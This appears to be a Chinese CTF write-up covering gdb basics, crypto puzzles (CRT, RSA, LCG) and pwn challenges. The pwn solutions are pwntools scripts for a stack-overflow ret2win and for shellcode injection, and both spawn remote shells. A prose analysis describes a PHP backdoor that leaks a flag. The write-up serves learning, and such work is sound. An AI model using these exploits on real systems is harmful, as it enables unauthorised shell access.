end_deadline = time.time() + 10
while time.time() < end_deadline:
try:
buf = s.recv(4096)
collected += buf
print(buf.decode(errors="ignore"), end="")
except socket.timeout:
continue

if __name__ == "__main__":
main()

FLAG

1
flag{3bb9a457-4895-41f0-a625-a076a77dd457}

GNU Debugger

Challenge

进入pwn的世界之后的第一关,了解你的好伙伴gdb

【难度:简单】

这是一个熟悉gdb的好机会,在开始挑战之前,请确保你的电脑已经安装好gdb。

gdb 在绝大部分 Linux 发行版上都已默认安装,你可以在 shell 中输入 gdb 命令进行确认
若你的计算机尚未安装 gdb,则可以使用如下命令进行安装,请自行分辨你所使用的发行版。

Debian / Ubuntu:
sudo apt-get install -y gdb

若你已经提前配置好环境,安装好了pwndbg之类的插件,我推荐使用原生gdb就好了。
这些插件能够看到的信息更多,但是对于没什么基础的你可能不太合适,我们慢慢来就好。
如果你不知道如何取消使用这些插件的话,去~/.gdbinit这个文件里将”source xxx”之类的语句注释掉吧。

题目的流程为:

  1. 启动靶机获得端口和ip
  2. 启动程序: ./gdb_challenge (假设你已经在这个程序所在的目录)
  3. 进行一系列的gdb挑战
  4. 完成所有挑战,得到flag

ps: 这题暂时用不到ida哦,推荐直接执行程序,跟着流程来就好啦。不过也可以通过逆向工程来得到flag ^^

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
┌──(kali㉿kali)-[~/Desktop]
└─$ ./gdb_challenge
###输入 run <ip> <端口> 开始游戏, 其中ip和端口通过开启容器得到###

###使用示例 run 127.0.0.1 7777###

###按下 ctrl + c 断开连接###

Reading symbols from ./gdb_challenge...
(No debugging symbols found in ./gdb_challenge)
(gdb) run 47.94.87.199 34825
Starting program: /home/kali/Desktop/gdb_challenge 47.94.87.199 34825
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
###
向导加入了队伍。.

向导:
欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。
当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧
完成4个关卡后就能得到flag咯
--- 关卡 1: 已验丁真 ---
向导:
我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗?
找到r12的16进制值就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000555555555530 in stage_0_register_check ()
(gdb) p/x $r12
$1 = 0x41c4d520553a142e
(gdb) c
Continuing.
向导:
r12寄存器里面装着什么呢?好难猜啊, 记住我要16进制数字捏,例如0x114之类的数字:
0x41c4d520553a142e
向导:
正解! 下一关咯

--- 关卡 2: 义眼丁真 ---
向导:
这次是内存捏, 我留了一句话在某个地方捏.
偷偷告诉你这个地方在哪里QwQ -> 0x555555557c27
猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00005555555556a3 in stage_1_memory_check ()
(gdb) x/s 0x555555557c27
0x555555557c27: "GDB_IS_POWERFUL"
(gdb) c
Continuing.
向导:
你找到了吗QwQ,告诉我你找到了什么:
GDB_IS_POWERFUL
向导:
正解! 下一关!.

--- 关卡 3: 犹豫丁真 ---
向导:
啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来!
如果没能抓住他的话,我们就没办法继续往前走了.
让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦

偷偷告诉你这个函数在 -> 0x555555555779

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000555555555813 in stage_2_breakpoint_check ()
(gdb) b *0x555555555779
Breakpoint 1 at 0x555555555779
(gdb) c
Continuing.

Breakpoint 1, 0x0000555555555779 in function_to_break_on ()
(gdb) c
Continuing.
向导:
他停下来了! 在这个函数身上找到了最后一关的钥匙.
接下来是最后一关了哦.

--- 关卡 4: 应用丁真 ---
来到最后一关了,由于环境影响,已经听不清楚向导说的话了。
向导:
我们的 '(&*(……¥*&¥#!¥&……*&*&!@¥#' 现在只有 1 个.....但是要过关的话一共需要 0xdeadbeef 个
你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34#! 改.
地$^&!$址 -> 0x7fffffffd9b4 …*&

Program received signal SIGTRAP, Trace/breakpoint trap.
0x000055555555598c in stage_3_state_modification ()
(gdb) set {int}0x7fffffffd9b4 = 0xdeadbeef
(gdb) c
Continuing.
向导离开了队伍。.

[*] Initializing security protocols...
[+] 世界上即将增加一个PWN高手了捏
[+] FLAG : flag{175e6046-5260-47a3-8ed1-e6265c6791d2}

[Inferior 1 (process 9104) exited normally]

FLAG

1
flag{175e6046-5260-47a3-8ed1-e6265c6791d2}

overflow

Challenge

咦?程序好像有后门,但是执行不到怎么办呢

【难度:中等】

Solution

  1. main 函数: 程序入口点,依次调用 init show try

  2. try 函数: 漏洞利用的核心

    1
    2
    3
    4
    5
    6
    7
    8
    void __cdecl try()
    {
    char buffer[256]; // 栈上分配 256 字节的缓冲区
    memset(buffer, 0, sizeof(buffer));
    puts("Now,Try to exploit it as I done and get the shell!");
    puts("Enter your input:");
    gets(buffer); // 存在明显的栈溢出漏洞
    }

    该函数使用 gets 读取用户输入,gets 不对输入长度进行检查,因此当输入超过 256 字节时,就会覆盖栈上 buffer 相邻的高地址数据,包括保存的 RBP 寄存器值和函数返回地址。

  3. backd00r 函数: 攻击目标

    1
    2
    3
    4
    5
    6
    void __cdecl backd00r()
    {
    puts("Congratulations! You have found the backdoor!");
    puts("You can now execute any command you want.");
    system("/bin/sh"); // 执行 system("/bin/sh"),提供一个 shell
    }

    该函数提供一个 shell,但程序正常流程中并未调用它,目标就是通过栈溢出劫持程序执行流然后使其跳转到这个函数。

  4. 确定偏移量:
    在 x86-64 架构下,try 函数的栈帧布局大致如下:

    1
    2
    3
    4
    高地址  ->  [返回地址 (8字节)]
    [保存的 RBP (8字节)]
    [char buffer[256]] <- gets 写入的起始位置
    低地址 -> ...

    要覆盖返回地址我们需要填充 buffer 的 256 字节,再加上保存的 RBP 的 8 字节,因此覆盖返回地址的偏移量为 256 + 8 = 264 字节。

  5. 解决栈对齐问题:
    在 x86-64 Linux ABI 中调用 system 等函数时要求栈指针(RSP)必须是 16 字节对齐的。当 main call try 时,栈已经是不对齐的(16n - 8)。如果我们直接 retbackd00r,栈依然是不对齐的,会导致 system 调用失败。
    为了解决这个问题,我们在跳转到 backd00r 之前先跳转到一个 ret 指令,这个 ret 指令会从栈上弹出一个地址(即 backd00r 地址),使 RSP 增加 8 字节,从而将栈恢复到 16 字节对齐的状态。

  6. 构建 Payload:
    最终的 payload 结构如下:
    [填充数据 (264字节)] + [ret Gadget 地址] + [backd00r 函数地址]

在开始编写脚本前还需要确定 ret gadget 和 backd00r 函数的精确地址

  1. 检查保护机制:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ checksec ./overflow
    [*] '/home/kali/Desktop/overflow'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX unknown - GNU_STACK missing
    PIE: No PIE (0x400000)
    Stack: Executable
    RWX: Has RWX segments
    Stripped: No
    Debuginfo: Yes

    关键信息是 No PIE,这意味着程序的内存地址是固定的,我们可以直接使用静态分析得到的地址。

  2. 使用 pwntools 自动查找:
    我们可以利用 pwntools 库方便地从 ELF 文件中提取所需地址。

    • backd00r 地址: elf.symbols['backd00r']
    • ret Gadget 地址: ROP(elf).find_gadget(['ret']).address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *

# 设置目标二进制文件上下文
context.binary = elf = ELF('./overflow')
# 设置日志等级
context.log_level = 'info'

# 连接信息
HOST = '8.147.132.32'
PORT = 25071

# 寻找所需地址
rop = ROP(elf)
RET_GADGET = rop.find_gadget(['ret']).address
BACKDOOR_ADDR = elf.symbols['backd00r']

# 确定覆盖返回地址的偏移量
OFFSET = 256 + 8

# 打印关键地址信息用于调试确认
log.info(f"Using ret gadget at: {hex(RET_GADGET)}")
log.info(f"Jumping to backd00r at: {hex(BACKDOOR_ADDR)}")
log.info(f"Calculated offset: {OFFSET}")

io = remote(HOST, PORT)

# 构造 payload
# 填充数据 -> ret gadget (用于栈对齐) -> backd00r 函数
payload = flat([
b'A' * OFFSET,
p64(RET_GADGET),
p64(BACKDOOR_ADDR)
])

io.recvuntil(b'Enter your input:\n')

io.sendline(payload)
log.success("Payload sent successfully!")

io.interactive()

FLAG

1
flag{2a7429ab-6c6c-4db1-b8bd-8ed029f9c1fa}

input_function

Challenge

什么?要输入一个函数?

【难度:困难】

Solution

先看主函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);
puts("please input a function(after compile)");
read(0, buf, 0x500u);
((void (*)(void))buf)();
return 0;
}
  • mmap:程序使用 mmap 系统调用来分配一块内存
    • addr: (void *)0x114514,这是一个固定的地址,这意味着无论程序怎么运行,这块内存总是在 0x114514 这个位置。
    • prot: 7。在 Linux 中,内存保护标志是位掩码:PROT_READ (4) | PROT_WRITE (2) | PROT_EXEC (1)。4 + 2 + 1 = 7,所以这块内存的权限是 可读、可写、可执行 (RWX)
  • read:程序从标准输入读取最多 0x500 字节的数据,并直接存放到刚刚 mmap 出来的 buf 内存区域中。
  • ((void (*)(void))buf)():程序将 buf 的地址强制转换为一个函数指针,然后直接调用(跳转到)它。

结论:这个程序给了我们一块固定地址、权限为 RWX 的内存,并且允许我们向其中写入任意代码,然后直接跳转过去执行,因此我们只需要提供一段 shellcode 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch='amd64', os='linux')

HOST = '8.147.132.32'
PORT = 18280

# 1. 生成 shellcode
shellcode = asm(shellcraft.sh())

io = remote(HOST, PORT)

io.recvuntil(b'please input a function(after compile)\n')

# 2. 发送 shellcode
io.send(shellcode)
log.success("Shellcode sent!")

io.interactive()

FLAG

1
flag{fd4083c1-c401-4a1c-845e-01af917f7f21}

Crypto

唯一表示

Challenge

不要把鸡蛋放在同一个篮子里

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from sympy.ntheory.modular import crt
from Crypto.Util.number import bytes_to_long
from sympy import primerange
import uuid

# 生成素数列表
primes = list(primerange(2, 114514))

# 生成随机 flag,并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

def fun(n: int):
"""
给定整数 n,返回它对若干个素数模的余数列表,
直到用这些余数和模数 CRT 重建出的值恰好等于 n。
"""
used_primes = [2] # 当前使用的素数列表,先用 2 开始
prime_index = 1 # primes[0] 已用,从 primes[1] 开始
while True:
# 计算 n 对当前所有模数的余数
remainders = [n % p for p in used_primes]

# 用 CRT 尝试重建 n
reconstructed, _ = crt(used_primes, remainders)

# 如果重建成功,返回余数列表
if reconstructed == n:
return remainders

# 否则继续添加新的素数,扩大模数集合
used_primes.append(primes[prime_index])
prime_index += 1

# 计算 message_int 的余数表示
c = fun(message_int)

print(c)


"""
[1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
"""

Solution

  1. 生成素数:脚本首先生成了一个从 2 到 114514 之间的所有素数的列表,这个列表是固定的
  2. 转换 Flag:脚本生成一个随机的 flag,并使用 bytes_to_long 将其转换为一个非常大的整数 message_int
  3. 核心函数 fun
    • 接收整数 n(也就是 message_int)。
    • 从一个仅包含素数 [2] 的模数列表 used_primes 开始
    • 进入一个循环,不断地从主素数列表 primes 中添加新的素数到 used_primes
    • 在每次循环中计算 n 对当前 used_primes 列表里所有素数的余数
    • 使用中国剩余定理(CRT),根据当前的模数(used_primes)和余数(remainders)重构一个数
    • 当重构出的数 reconstructed 恰好等于原始的 n 时循环终止并返回当前的余数列表

中国剩余定理(CRT)的核心在于,对于一组互质的模数 M = p1 * p2 * ... * pk,它能找到一个在模 M 意义下唯一的解,sympy.crt 函数返回的是满足条件的最小非负整数解

reconstructed == n 这个条件只有在 n 小于所有模数的乘积 M 时才会成立,如果 n 大于或等于 M,那么 CRT 返回的结果将是 n % M,这显然不等于 n

因此 fun 函数的循环本质上是在寻找一个最小的初始素数集合使得这些素数的乘积刚好大于 message_int

解题步骤如下:

  1. 脚本的输出 c 是最终的余数列表,这个列表的长度 len(c) 告诉我们脚本总共使用了多少个素数,重新生成和原脚本一模一样的素数列表
  2. 用于最后一次 CRT 计算的模数(moduli)就是我们生成的素数列表中的前 len(c) 个素数
  3. 现在已知模数(前 len(c) 个素数)和余数(列表 c),我们可以再次使用 CRT 来精确地解出原始的 message_int
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange

c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]

# 1. 生成素数列表
all_primes = list(primerange(2, 114514))

# 2. 根据输出 c 的长度确定使用的素数数量
num_primes_used = len(c)
print(f"使用的素数数量: {num_primes_used}")

# 3. 获取模数列表(也就是素数列表的前 num_primes_used 个)
moduli = all_primes[:num_primes_used]

# 4. 使用中国剩余定理,根据已知的模数和余数来重构原始整数
# 我们要求解的同余方程组是:
# message_int ≡ remainders[0] (mod moduli[0])
# message_int ≡ remainders[1] (mod moduli[1])
# ...
message_int, _ = crt(moduli, c)

print(f"重构出的整数: {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode()
print(flag)
1
2
3
使用的素数数量: 54
重构出的整数: 56006392793407635010269894324071027836182028746326229271331328895596420941873678122985250345057530237
flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}

FLAG

1
flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}

小跳蛙

Challenge

青蛙会跳到哪里去呢?

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
banner = """
Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem.

There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is.

Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence

If you succeed, I will give you a mysterious flag.
"""
print(banner)

import re
import random
from secret import flag


cnt = 0
while cnt < 5:
a = random.randint(1, 10**(cnt+1))
b = random.randint(1, 10**(cnt+1))
print( str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")")
user_input = input("Please input the final position of the frog (x,y) :")
pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?'
match = re.match(pattern, user_input.strip())
if match:
x, y = map(int, match.groups())
else:
print("Unable to parse the input. Please check the format and re-enter")
continue

original_a, original_b = a, b
while a != b:
if a > b:
a = a - b
else:
b = b - a

if x == a and y == b:
print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!")
cnt += 1
else:
print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b))
break

if cnt == 5:
print("Congratulations, you answered all the questions correctly!")
print("Mysterious Flag:" + flag)

Solution

连接到服务器后会收到一段欢迎信息,其中描述了游戏规则:

一只青蛙在格点 (a, b) 上。

  • a > b,它会跳到 (a-b, b)
  • a < b,它会跳到 (a, b-a)
  • a = b,它会停留在原地

服务器会连续给出 5 组不同的 (a, b),我们需要计算出青蛙最终停留的位置 (x, y) 并提交

这个规则正是计算最大公约数的经典算法:欧几里得算法(辗转相减法)

也就是说:对于任意给定的 (a, b),青蛙最终停留的位置 (x, y) 就是 (gcd(a, b), gcd(a, b))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import re
import math

context.log_level = 'info'
HOST = '8.147.132.32'
PORT = 37713

p = remote(HOST, PORT)

# 循环 5 次来回答问题
for i in range(5):
# 1. 等待接收到 "is: (",确保解析的是真实的数字坐标
p.recvuntil(b'is: (')

# 2. 接收到 ')' 为止,并用 drop=True 去掉末尾的 ')'
coords_bytes = p.recvuntil(b')', drop=True)
coords_str = coords_bytes.decode()
log.info(f"第 {i+1} 轮: 收到坐标字符串: '{coords_str}'")

# 使用正则表达式提取数字
match = re.search(r'(\d+),\s*(\d+)', coords_str)
if not match:
log.error("解析坐标失败")
p.close()
exit(1)

a = int(match.group(1))
b = int(match.group(2))
log.info(f"解析出 (a, b) = ({a}, {b})")

# 3. 计算最大公约数 (GCD)
result_gcd = math.gcd(a, b)
log.success(f"计算出 GCD = {result_gcd}")

# 4. 发送答案
answer = f"({result_gcd}, {result_gcd})"
p.sendline(answer.encode())
log.info(f"已发送答案: {answer}")

# 5. 获取 Flag
p.recvuntil(b"Mysterious Flag:")
flag = p.recvline().strip().decode()
log.success(flag)

p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[*] 第 1 轮: 收到坐标字符串: '5,9'
[*] 解析出 (a, b) = (5, 9)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[*] 第 2 轮: 收到坐标字符串: '24,12'
[*] 解析出 (a, b) = (24, 12)
[+] 计算出 GCD = 12
[*] 已发送答案: (12, 12)
[*] 第 3 轮: 收到坐标字符串: '733,317'
[*] 解析出 (a, b) = (733, 317)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[*] 第 4 轮: 收到坐标字符串: '3094,9104'
[*] 解析出 (a, b) = (3094, 9104)
[+] 计算出 GCD = 2
[*] 已发送答案: (2, 2)
[*] 第 5 轮: 收到坐标字符串: '38083,37819'
[*] 解析出 (a, b) = (38083, 37819)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[+] flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}

FLAG

1
flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}

初识RSA

Challenge

好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
import hashlib

key=b'??????'
assert len(key)==6
KEY = hashlib.md5(key).hexdigest().encode()
print('KEY=',KEY)

flag=b'flag{?????????????}'

m=bytes_to_long(flag)

e=65537
p=getPrime(512)
q=getPrime(512)
n=pow(p,3)* pow(q,2)
c=pow(m,e,n)

P=p^(bytes_to_long(key))

print("P=",P)
print("n=",n)
print("c=",c)

'''
KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
'''

Solution

  1. 寻找 key:在 md5在线解密破解 查询得到 crypto 的 md5 的值为 5ae9b7f211e23aac3df5f2b8f3b8eada,因此原始的 6 字节 key 就是 b'crypto'
  2. 寻找 p:脚本中有一个非常关键的线索:P = p ^ (bytes_to_long(key))
    • XOR(异或)运算有一个特性:A ^ B = C 那么 A = C ^ B
    • 我们现在知道了 keyP 的值,所以我们可以通过 p = P ^ bytes_to_long(key) 来直接计算出 p
  3. 寻找 q:脚本中定义了RSA模数 n = p^3 * q^2
    • 既然我们已经通过上一步计算出了p,我们就可以计算p^3
    • 然后我们可以通过 q^2 = n // p^3 来得到q的平方
    • 最后对q^2开方就可以得到q
  4. 计算欧拉函数 phi(n):对于标准的n = p * qphi(n) = (p-1)*(q-1)。但在这里,n = p^3 * q^2,所以我们需要使用欧拉函数的通用性质:
    • phi(a*b) = phi(a) * phi(b) (当a, b互质时)
    • phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)
    • 因此,phi(n) = phi(p^3 * q^2) = phi(p^3) * phi(q^2)
    • phi(p^3) = p^2 * (p-1)
    • phi(q^2) = q * (q-1)
    • 所以,phi(n) = (p^2 * (p-1)) * (q * (q-1))
  5. 计算私钥 d:私钥 d 是公钥 e 关于 phi(n) 的模逆元
    • d * e ≡ 1 (mod phi(n))
    • 我们可以用 d = pow(e, -1, phi(n)) 来计算
  6. 解密消息 m: 有了私钥 d 我们就可以对密文 c 进行解密
    • m = pow(c, d, n)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import isqrt

P = ...
n = ...
c = ...
e = 65537

# --- 步骤 1: 确定 key ---
key = b'crypto'
print(f"[+] Found key: {key}")

# --- 步骤 2: 计算 p ---
key_long = bytes_to_long(key)
p = P ^ key_long
print(f"[+] Calculated p successfully.")

# --- 步骤 3: 计算 q ---
p_cubed = pow(p, 3)
# 确保 n 可以被 p^3 整除
assert n % p_cubed == 0
q_squared = n // p_cubed

# 使用整数开方计算 q
q = isqrt(q_squared)
# 验证 q^2 是否等于我们计算出的 q_squared
assert pow(q, 2) == q_squared
print(f"[+] Calculated q successfully.")

# --- 步骤 4: 计算 phi(n) ---
phi_n = (pow(p, 2) * (p - 1)) * (q * (q - 1))
print(f"[+] Calculated phi(n) successfully.")

# --- 步骤 5: 计算私钥 d ---
d = pow(e, -1, phi_n)
print(f"[+] Calculated private key d successfully.")

# --- 步骤 6: 解密消息 m ---
m = pow(c, d, n)
print(f"[+] Decrypted message m successfully.")

# --- 步骤 7: 还原 flag ---
flag = long_to_bytes(m)
print(flag.decode())
1
2
3
4
5
6
7
[+] Found key: b'crypto'
[+] Calculated p successfully.
[+] Calculated q successfully.
[+] Calculated phi(n) successfully.
[+] Calculated private key d successfully.
[+] Decrypted message m successfully.
flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}

FLAG

1
flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}

随机数之旅1

Challenge

真正的大中衔接belike:

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import uuid
from Crypto.Util.number import getPrime, bytes_to_long
import random

# 生成随机 flag 并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

# 生成两个素数:
# p 的比特长度比 message_int 略大
# a 的比特长度和 p 相同
p = getPrime(message_int.bit_length() + 3)
a = getPrime(p.bit_length())

print(f"a = {a}")
print(f"p = {p}")

# hint 序列:以随机数为起点,按递推关系生成 5 次
# hint[i+1] = (a * hint[i] + message_int) mod p
hint_values = [random.randint(1, p - 1)]

for _ in range(5):
next_value = (a * hint_values[-1] + message_int) % p
hint_values.append(next_value)

print("hint =", hint_values)

"""
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]

"""

Solution

  1. 已知信息:乘数 a,模数 p,一个由 LCG 生成的序列 hint

  2. 未知信息:增量 message_int (也就是 m),它代表了 flag

  3. 核心公式hint[i+1] = (a * hint[i] + message_int) % p

我们的目标是解出 message_int,由于我们已经知道了 ap,因此这变成了一个非常简单的代数问题

我们可以从 hint 列表中取出任意两个连续的元素,比如 hint[0]hint[1],然后将它们代入核心公式:

hint[1] = (a * hint[0] + message_int) % p

这是一个关于 message_int 的一次同余方程,我们可以直接移项来求解 message_int

message_int = (hint[1] - a * hint[0]) % p

计算步骤:

  1. hint 列表中取出 hint[0]hint[1]
  2. 计算 a * hint[0]
  3. hint[1] 中减去上一步的结果
  4. 将最终结果对 p 取模,得到 message_int
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

a = ...
p = ...
hint = ...

# 1. 从 hint 列表中取出前两个元素
h0 = hint[0]
h1 = hint[1]

# 2. 根据公式 message_int = (hint[1] - a * hint[0]) mod p 求解
# Python 的 % 运算符能正确处理负数取模,所以可以直接计算
message_int = (h1 - a * h0) % p
print(f"[*] 成功恢复 message_int: m = {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode('utf-8')
print(flag)
1
2
[*] 成功恢复 message_int: m = 56006392793428429658174402239819000060300656649754549632005403493317815055195551066672537705480730237
flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}

FLAG

1
flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}

Sagemath使用指哪?

Challenge

使用Sagemath运行程序以获得flag

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Sage 9.3

key=1
G = PSL(2, 11)
key*=G.order()
G = CyclicPermutationGroup(11)
key*=G.order()
G = AlternatingGroup(114)
key*=G.order()
G = PSL(4, 7)
key*=G.order()
G = PSU(3, 4)
key*=G.order()
G = MathieuGroup(12)
key*=G.order()

c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011

key=(int(str(bin(key))[2:][0:42*8],2))
m=c^^key
f=[]
while m>0:
x=m%256
f.append(chr(x))
m//=256
f.reverse()
flag="".join(i for i in f )
print(flag)

Solution

直接用 sage 运行就行

1
2
3
(sage) ┌──(kali㉿kali)-[~/Desktop]
└─$ sage sagematch.sage
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

FLAG

1
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

Week 2

Misc

星期四的狂想

Challenge

怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。

【难度:困难】

Solution

攻击链条分析:

  1. 文件准备: 攻击者先后上传了 chickenvivo50.php (函数库), crazy.php (读取、混淆flag), index.php (攻击入口和触发器)。
  2. 触发攻击 (Frame 519): 攻击者向 /uploads/?cmd=ThURSDAY 发起了一个 POST 请求。
    • URL参数:cmd=ThURSDAY
    • POST内容:file=crazy.php
  3. 后门执行逻辑:
    • 服务器执行 index.php
    • index.php 包含了 chickenvivo50.php
    • index.php 通过 require_once($_POST["file"]) 包含了 crazy.php
    • crazy.php 执行后读取服务器根目录下的 /flag 文件,对其内容进行混淆(随机反转或ROT13加密),然后存入一个全局变量 $GLOBALS['ThURSDAY']
    • index.php 接着执行 code($_GLOBALS[$_GET['cmd']]),即 code($GLOBALS['ThURSDAY'])
    • code() 函数将混淆后的 flag 进行 Base64 编码,并构造成一个 HTTP Cookie 头
    • 最后 getFunction("vivo") (映射到 header 函数) 将这个构造好的 Cookie 头发送出去
